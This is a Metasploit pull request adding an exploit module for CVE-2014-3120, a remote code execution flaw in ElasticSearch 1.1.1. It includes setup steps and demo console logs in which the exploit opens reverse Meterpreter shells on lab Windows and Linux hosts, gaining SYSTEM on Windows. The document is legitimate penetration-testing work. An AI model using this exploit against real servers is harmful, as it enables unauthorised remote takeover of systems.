rapid7/metasploit-framework — pull request #3397 by jvazquez-r7 (2014-05-27 23:05:46+00:00)
Title: Add module for CVE-2014-3120

Tested ok with ElasticSearch 1.1.1 on Windows and Linux.

Verification
-------------

- [ ] Install Ubuntu 12.04 server
- [ ] Install ElasticSearch 1.1.1 (http://www.elasticsearch.org/downloads/1-1-1/)
- [ ] Create one index

```
juan@ubuntu:~$ curl -XPUT 'http://localhost:9200/twitter/'
{"acknowledged":true}juan@ubuntu:~$
```
- [ ] Add at least one document to the index

```
curl -XPUT 'http://localhost:9200/twitter/tweet/1' -d '{
> "user" : "kimchy",
> "post_date" : "2009-11-15T14:12:12",
> "message" : "trying out Elasticsearch"
> }'
{"_index":"twitter","_type":"tweet","_id":"1","_version":1,"created":true}juan@ubuntu:~$
```

- [ ] Run the module like in the demo, hopefully enjoy sessions

DEMO
-------

* Windows

```
msf exploit(script_mvel_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.157:9200 - Trying to execute arbitrary Java..
[*] 172.16.158.157:9200 - Asking remote OS...
[+] 172.16.158.157:9200 - OS Windows XP found
[*] 172.16.158.157:9200 - Asking TEMP path
[+] 172.16.158.157:9200 - TEMP path found on C:\WINDOWS\TEMP\
[*] Sending stage (30355 bytes) to 172.16.158.157
[*] Meterpreter session 14 opened (172.16.158.1:4444 -> 172.16.158.157:1954) at 2014-05-27 17:59:01 -0500
[!] This exploit may require manual cleanup of: C:\WINDOWS\TEMP\DpFVdq.jar

meterpreter > getuid
Server username: SYSTEM
meterpreter > sysinfo
Computer : juan-c0de875735
OS : Windows XP 5.1 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.157 - Meterpreter session 14 closed. Reason: User exit
```

* Linux

```
msf exploit(script_mvel_rce) > set rhost 172.16.158.159
rhost => 172.16.158.159
msf exploit(script_mvel_rce) > check
[+] 172.16.158.159:9200 - The target is vulnerable.
msf exploit(script_mvel_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.159:9200 - Trying to execute arbitrary Java..
[*] 172.16.158.159:9200 - Asking remote OS...
[+] 172.16.158.159:9200 - OS Linux found
[*] Sending stage (30355 bytes) to 172.16.158.159
[*] Meterpreter session 15 opened (172.16.158.1:4444 -> 172.16.158.159:46011) at 2014-05-27 17:59:46 -0500
[+] Deleted /tmp/sMenGK.jar

meterpreter > getuid
Server username: elasticsearch
meterpreter > sysinfo
Computer : ubuntu
OS : Linux 3.8.0-29-generic (i386)
Meterpreter : java/java
meterpreter > exit -y
[*] Shutting down Meterpreter...
```